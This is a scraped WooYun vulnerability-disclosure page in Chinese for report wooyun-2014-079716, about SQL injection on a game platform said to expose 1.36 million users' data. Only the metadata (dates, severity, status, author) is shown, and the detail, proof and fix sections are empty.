提交时间：2014-10-17 12:09

修复时间：2014-12-01 12:12

公开时间：2014-12-01 12:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 JsStack@乌云

漏洞回应

厂商回应：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-079716

漏洞标题：某游戏平台多处SQL注射导致136万用户信息泄漏

相关厂商：小小岛民俱乐部

漏洞作者： JsStack

提交时间：2014-10-17 12:09

修复时间：2014-12-01 12:12

公开时间：2014-12-01 12:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2014-079716"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 JsStack@乌云

漏洞回应

厂商回应：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：